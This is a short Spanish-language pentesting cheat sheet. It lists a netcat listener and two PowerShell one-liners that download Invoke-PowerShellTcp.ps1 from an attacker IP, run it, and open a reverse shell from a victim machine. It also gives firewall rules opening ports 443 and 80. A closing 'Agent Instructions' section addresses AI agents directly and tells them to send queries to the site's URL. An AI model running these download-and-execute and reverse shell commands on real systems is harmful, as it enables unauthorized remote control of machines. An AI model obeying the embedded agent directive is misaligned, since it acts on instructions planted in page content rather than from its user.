# Misc

## Ejecutar scripts de powershell en kali

## Reverse shell

Desde la máquina atacante:

```
C:\AD\Tools\netcat\nc64.exe -lvp 443
```

Desde la máquina víctima:

{% code overflow="wrap" %}

```powershell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-PowerShellTcp.ps1'));Power -Reverse -IPAddress 192.168.1.100 -Port 443

powershell.exe iex (iwr http://192.168.1.100/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 192.168.1.100 -Port 443
```

{% endcode %}

## Agregar excepción en el firewall

### Inbound

Command line:

```powershell
New-NetFirewallRule -DisplayName "Allow Port 443 Inbound" `
    -Direction Inbound `
    -LocalPort 443 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

```
New-NetFirewallRule -DisplayName "Allow Port 80 Inbound" `
    -Direction Inbound `
    -LocalPort 80 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

GUI:

<figure><img src="/files/notpK9XU3wytoS2gL0Sj" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/misc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
